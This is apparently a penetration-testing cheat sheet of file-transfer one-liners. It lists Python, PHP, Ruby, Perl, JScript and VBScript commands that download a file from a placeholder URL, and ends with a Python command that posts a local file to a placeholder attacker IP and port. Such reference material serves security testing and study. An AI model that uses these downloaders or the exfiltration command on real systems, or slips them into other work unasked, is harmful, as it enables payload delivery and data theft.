Copy python2.7 -c 'import urllib;urllib.urlretrieve ("<URL_FILE>", "<NEW_NAME>")'
Copy python3 -c 'import urllib.request;urllib.request.urlretrieve("<URL_FILE>", "<NEW_NAME>")'
Copy php -r '$file = file_get_contents("<URL_FILE>"); file_put_contents("<NEW_NAME>",$file);'
Copy ruby -e 'require "net/http"; File.write("<NEW_NAME>", Net::HTTP.get(URI.parse("<URL_FILE>")))'
Copy perl -e 'use LWP::Simple; getstore("<URL_FILE>", "<NEW_NAME>");'
Copy var WinHttpReq = new ActiveXObject ( "WinHttp.WinHttpRequest.5.1" );
WinHttpReq .Open ( "GET" , WScript .Arguments ( 0 ) , /*async=*/ false );
WinHttpReq .Send ();
BinStream = new ActiveXObject ( "ADODB.Stream" );
BinStream .Type = 1 ;
BinStream .Open ();
BinStream .Write ( WinHttpReq .ResponseBody);
BinStream .SaveToFile ( WScript .Arguments ( 1 ));
Copy cscript.exe /nologo download.js < URL_FIL E > < NEW_NAM E >
Copy dim xHttp: Set xHttp = createobject("Microsoft.XMLHTTP")
dim bStrm: Set bStrm = createobject("Adodb.Stream")
xHttp.Open "GET", WScript.Arguments.Item(0), False
xHttp.Send
with bStrm
.type = 1
.open
.write xHttp.responseBody
.savetofile WScript.Arguments.Item(1), 2
end with
Copy cscript.exe /nologo download.vbs < URL_FIL E > < NEW_NAM E >
Copy python3 -c 'import requests;requests.post("http://<IP>:<PORT>/<DIR>",files={"files":open("<FILE>","rb")})'
It is possible with all the other languages in the download section but also others.